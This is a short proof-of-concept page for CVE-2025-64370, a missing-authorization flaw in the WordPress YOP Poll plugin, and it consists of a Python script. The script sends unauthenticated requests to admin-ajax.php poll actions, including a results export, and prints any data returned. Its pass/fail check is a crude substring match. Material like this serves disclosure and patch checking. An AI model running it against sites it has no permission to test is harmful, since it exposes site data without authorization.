CVE-2025-64370 WordPress YOP Poll插件缺失授权漏洞

# CVE-2025-64370 PoC - YOP Poll Missing Authorization # Description: Unauthenticated access to privileged poll management functions import requests import sys TARGET_URL = "http://target-site.com/wp-admin/admin-ajax.php" def check_vulnerability(): """ Check if YOP Poll plugin is vulnerable to CVE-2025-64370 Tests for missing authorization on admin-ajax.php endpoints """ # Test endpoints that should require authentication test_endpoints = [ { "action": "yop_poll_export_results", "params": {"poll_id": 1} }, { "action": "yop_poll_get_poll", "params": {"poll_id": 1} }, { "action": "yop_poll_get_results", "params": {"poll_id": 1} } ] print("[*] Testing YOP Poll plugin for CVE-2025-64370") print(f"[*] Target: {TARGET_URL}\n") for endpoint in test_endpoints: try: # Send unauthenticated request response = requests.post( TARGET_URL, data={ "action": endpoint["action"], **endpoint["params"] }, timeout=10 ) # Check if response indicates successful unauthorized access if response.status_code == 200: # Check for data exposure in response if "success" in response.text or "data" in response.text: print(f"[+] VULNERABLE: {endpoint['action']} - Unauthorized access possible") print(f" Response preview: {response.text[:200]}...") else: print(f"[-] Protected: {endpoint['action']}") else: print(f"[-] Protected: {endpoint['action']} (Status: {response.status_code})") except requests.RequestException as e: print(f"[!] Error testing {endpoint['action']}: {e}") print("\n[*] Scan complete. If vulnerabilities found, update YOP Poll to latest version.") if __name__ == "__main__": check_vulnerability()